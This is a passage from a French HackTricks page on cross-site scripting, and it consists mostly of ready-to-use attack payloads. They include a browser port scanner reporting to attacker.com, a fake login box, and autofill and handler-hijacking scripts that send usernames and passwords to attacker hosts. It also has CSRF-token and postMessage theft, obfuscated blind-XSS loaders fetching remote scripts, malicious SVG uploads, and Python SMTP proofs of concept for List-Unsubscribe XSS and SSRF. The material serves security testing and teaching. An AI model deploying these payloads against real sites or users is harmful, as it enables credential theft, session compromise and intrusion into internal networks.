</script>
Port Scanner (fetch)
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
Port Scanner (websockets)
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}
Short times indicate a responding port Des temps plus longs indiquent l’absence de réponse.
Consultez la liste des ports bloqués dans Chrome here et dans Firefox here.
Boîte pour demander des credentials
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
Capture des mots de passe auto-complétés
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
Lorsque des données sont introduites dans le password field, le username et le password sont envoyés au attackers server, même si le client sélectionne un saved password et n’écrit rien les credentials seront ex-filtrated.
Hijack form handlers to exfiltrate credentials (const shadowing)
Si un handler critique (p. ex., function DoLogin(){...}) est déclaré plus tard dans la page, et que votre payload s’exécute plus tôt (p. ex., via un inline JS-in-JS sink), définissez d’abord un const portant le même nom pour préempter et verrouiller le handler. Les déclarations de fonction ultérieures ne peuvent pas réaffecter un nom const, laissant votre hook en contrôle :
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};
Remarques
- Ceci dépend de l’ordre d’exécution : votre injection doit s’exécuter avant la déclaration légitime.
- If your payload is wrapped in
eval(...),const/letbindings won’t become globals. Use the dynamic<script>injection technique from the section “Deliverable payloads with eval(atob()) and scope nuances” to ensure a true global, non-rebindable binding. - Lorsque des filtres par mot-clé bloquent le code, combinez avec des identifiants échappés en Unicode ou une livraison via
eval(atob('...')), comme montré ci-dessus.
Keylogger
En recherchant sur github, j’en ai trouvé plusieurs :
- https://github.com/JohnHoder/Javascript-Keylogger
- https://github.com/rajeshmajumdar/keylogger
- https://github.com/hakanonymos/JavascriptKeylogger
- Vous pouvez aussi utiliser metasploit
http_javascript_keylogger
Stealing CSRF tokens
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
Voler les messages PostMessage
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
PostMessage-origin script loaders (opener-gated)
Si une page stocke event.origin d’un postMessage et le concatène ensuite dans une URL de script, l’expéditeur contrôle l’origine du JS chargé :
window.addEventListener('message', (event) => {
if (event.data.msg_type === 'IWL_BOOTSTRAP') {
localStorage.setItem('CFG', {host: event.origin, pixelID: event.data.pixel_id});
startIWL(); // later loads `${host}/sdk/${pixelID}/iwl.js`
}
});
Recette d’exploitation (d’après CAPIG) :
- Gates: ne se déclenche que lorsque
window.openerexiste etpixel_idest allowlisted; origin is never checked. - Use CSP-allowed origin: faire un pivot vers un domaine déjà permis par le CSP de la victime (p.ex., pages d’aide accessibles sans authentification autorisant les analytics comme
*.THIRD-PARTY.com) et y héberger/sdk/<pixel_id>/iwl.jsvia takeover/XSS/upload. - Restore
opener: sur Android WebView,window.name='x'; window.open(target,'x')fait de la page son propre opener ; envoyer le postMessage malveillant depuis un iframe détourné. - Trigger: l’iframe poste
{msg_type:'IWL_BOOTSTRAP', pixel_id:<allowed>}; le parent charge alors l’iwl.js de l’attaquant depuis l’origin autorisé par le CSP et l’exécute.
Cela transforme la validation postMessage sans origin en un remote script loader primitive qui survit au CSP si vous pouvez atterrir sur n’importe quel origin déjà autorisé par la politique.
Supply-chain stored XSS via backend JS concatenation
Lorsque le backend construit un SDK partagé en concaténant des chaînes JS avec des valeurs contrôlées par l’utilisateur, n’importe quel quote/structure breaker peut injecter du script qui sera servi à chaque consommateur :
- Exemple de pattern (Meta CAPIG) : le serveur ajoute
cbq.config.set("<pixel>","IWLParameters",{params: <user JSON>});directement danscapig-events.js. - L’injection de
'ou"]}ferme la literal/l’objet et ajoute du JS d’attaquant, créant une stored XSS dans le SDK distribué pour chaque site qui le charge (first-party et third-party).
Abuser les Service Workers
Accéder au Shadow DOM
Polyglots
Blind XSS payloads
Vous pouvez aussi utiliser : https://xsshunter.com/
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>
<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>
<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />
<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />
<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}
Regex - Accéder au contenu caché
D’après this writeup, on peut voir que même si certaines valeurs disparaissent du JS, il est toujours possible de les retrouver dans les attributs JS d’objets différents. Par exemple, une entrée d’un REGEX peut toujours être retrouvée après que la valeur de l’entrée du regex a été supprimée :
// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)
// Remove flag value, nobody will be able to get it, right?
flag = ""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)
Brute-Force List
Auto_Wordlists/wordlists/xss.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
XSS exploitant d’autres vulnérabilités
XSS in Markdown
Peut-on injecter du code Markdown qui sera rendu ? Peut-être que vous pouvez obtenir du XSS ! Vérifiez :
XSS vers SSRF
Vous avez un XSS sur un site qui utilise la mise en cache ? Essayez de le transformer en SSRF via Edge Side Include Injection avec ce payload:
<esi:include src="http://yoursite.com/capture" />
Utilisez-le pour contourner les restrictions liées aux cookies, les filtres XSS et bien plus encore !
Plus d’informations sur cette technique ici : XSLT.
XSS dans un PDF créé dynamiquement
Si une page web crée un PDF en utilisant une entrée contrôlée par l’utilisateur, vous pouvez tenter de tromper le bot qui crée le PDF afin qu’il exécute du code JS arbitraire.
Ainsi, si le PDF creator bot trouve une sorte de balises HTML, il va les interpréter, et vous pouvez abuser de ce comportement pour provoquer un Server XSS.
Si vous ne pouvez pas injecter de balises HTML, cela vaut la peine d’essayer d’injecter des données PDF :
XSS dans Amp4Email
AMP, conçu pour accélérer les performances des pages web sur les appareils mobiles, intègre des balises HTML complétées par JavaScript pour assurer la fonctionnalité, en mettant l’accent sur la vitesse et la sécurité. Il prend en charge une gamme de composants pour diverses fonctionnalités, accessibles via AMP components.
Le format AMP for Email étend des composants AMP spécifiques aux emails, permettant aux destinataires d’interagir directement avec le contenu depuis leurs emails.
Exemple writeup XSS in Amp4Email in Gmail.
List-Unsubscribe Header Abuse (Webmail XSS & SSRF)
Le RFC 2369 List-Unsubscribe header intègre des URI contrôlées par l’attaquant que de nombreux webmail et clients de messagerie convertissent automatiquement en boutons “Unsubscribe”. Lorsque ces URI sont rendues ou récupérées sans validation, l’en-tête devient un point d’injection pour à la fois du stored XSS (si le lien unsubscribe est placé dans le DOM) et du SSRF (si le serveur effectue la requête unsubscribe pour le compte de l’utilisateur).
Stored XSS via javascript: URIs
- Envoyez-vous un email dont l’en-tête pointe vers une URI
javascript:tout en gardant le reste du message inoffensif afin que les filtres anti-spam ne le suppriment pas. - Assurez-vous que l’UI affiche la valeur (de nombreux clients l’affichent dans un panneau “List Info”) et vérifiez si la balise
<a>résultante hérite d’attributs contrôlés par l’attaquant tels quehrefoutarget. - Déclenchez l’exécution (par ex., CTRL+click, middle-click, or “open in new tab”) lorsque le lien utilise
target="_blank"; les navigateurs évalueront le JavaScript fourni dans l’origine de l’application webmail. - Observez le primitive stored-XSS : le payload persiste avec l’email et ne nécessite qu’un clic pour s’exécuter.
List-Unsubscribe: <javascript://attacker.tld/%0aconfirm(document.domain)>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
L’octet de saut de ligne (%0a) dans l’URI montre que même des caractères inhabituels survivent au pipeline de rendu dans des clients vulnérables tels que Horde IMP H5, qui affichera la chaîne telle quelle à l’intérieur de la balise .
PoC SMTP minimal qui livre un en-tête List-Unsubscribe malveillant
```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessagesmtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” sender = “list@example.org” recipient = “victim@example.org”
msg = EmailMessage() msg.set_content(“Testing List-Unsubscribe rendering”) msg[“From”] = sender msg[“To”] = recipient msg[“Subject”] = “Newsletter” msg[“List-Unsubscribe”] = “javascript://evil.tld/%0aconfirm(document.domain)” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”
with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)
</details>
#### Proxies de désabonnement côté serveur -> SSRF
Certains clients, tels que le Nextcloud Mail app, relaient l'action de désabonnement côté serveur : cliquer sur le bouton demande au serveur de récupérer l'URL fournie lui-même. Cela transforme l'en-tête en une primitive SSRF, surtout lorsque les administrateurs définissent `'allow_local_remote_servers' => true` (documenté dans [HackerOne report 2902856](https://hackerone.com/reports/2902856)), ce qui permet des requêtes vers loopback and RFC1918 ranges.
1. **Composer un email** où `List-Unsubscribe` cible un endpoint contrôlé par l'attaquant (pour un SSRF aveugle, utilisez Burp Collaborator / OAST).
2. **Conserver `List-Unsubscribe-Post: List-Unsubscribe=One-Click`** afin que l'UI affiche un bouton de désabonnement en un clic.
3. **Satisfaire les exigences de confiance** : Nextcloud, par exemple, n'effectue les requêtes de désabonnement HTTPS que lorsque le message passe DKIM, donc l'attaquant doit signer l'email en utilisant un domaine qu'il contrôle.
4. **Livrer le message dans une boîte mail traitée par le serveur cible** et attendre qu'un utilisateur clique sur le bouton de désabonnement.
5. **Observer le callback côté serveur** à l'endpoint collaborator, puis pivoter vers des adresses internes une fois la primitive confirmée.
```text
List-Unsubscribe: <http://abcdef.oastify.com>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
Message List-Unsubscribe signé DKIM pour les tests SSRF
```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage import dkimsmtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” dkim_selector = “default” dkim_domain = “example.org” dkim_private_key = “”“—–BEGIN PRIVATE KEY—–\n…\n—–END PRIVATE KEY—–”“”
msg = EmailMessage() msg.set_content(“One-click unsubscribe test”) msg[“From”] = “list@example.org” msg[“To”] = “victim@example.org” msg[“Subject”] = “Mailing list” msg[“List-Unsubscribe”] = “http://abcdef.oastify.com” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”
raw = msg.as_bytes() signature = dkim.sign( message=raw, selector=dkim_selector.encode(), domain=dkim_domain.encode(), privkey=dkim_private_key.encode(), include_headers=[“From”, “To”, “Subject”] ) msg[“DKIM-Signature”] = signature.decode().split(“: “, 1)[1].replace(”\r“, “”).replace(“\n”, “”)
with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)
</details>
**Notes de test**
- Utilisez un endpoint OAST pour collecter des hits SSRF aveugles, puis adaptez l'URL `List-Unsubscribe` pour cibler `http://127.0.0.1:PORT`, metadata services, ou d'autres hôtes internes une fois le primitive confirmé.
- Parce que l'unsubscribe helper réutilise souvent la même pile HTTP que l'application, vous héritez de ses paramètres de proxy, des verbes HTTP et des réécritures d'en-têtes, permettant d'autres traversal tricks décrits dans la [SSRF methodology](../ssrf-server-side-request-forgery/README.md).
### XSS uploading files (svg)
Téléversez comme image un fichier similaire au suivant (depuis [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
```html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
Trouvez plus de SVG payloads sur https://github.com/allanlw/svg-cheatsheet
Astuces JS diverses et infos pertinentes
Misc JS Tricks & Relevant Info
Ressources XSS
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection
- http://www.xss-payloads.com https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt https://github.com/materaj/xss-list
- https://github.com/ismailtasdelen/xss-payload-list
- https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec
- https://netsec.expert/2020/02/01/xss-in-2020.html
- https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide
Références
- Transformer un XSS inoffensif derrière un WAF en un vecteur de phishing réaliste
- XSS et SSRF via l’en-tête List-Unsubscribe SMTP dans Horde Webmail et Nextcloud Mail
- Rapport HackerOne #2902856 - Nextcloud Mail List-Unsubscribe SSRF
- De la “Low-Impact” RXSS au Credential Stealer : un walkthrough JS-in-JS
- MDN eval()
- CAPIG XSS : la confiance accordée à l’origin de postMessage devient un script loader + la concaténation JS backend permet un supply-chain stored XSS
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.


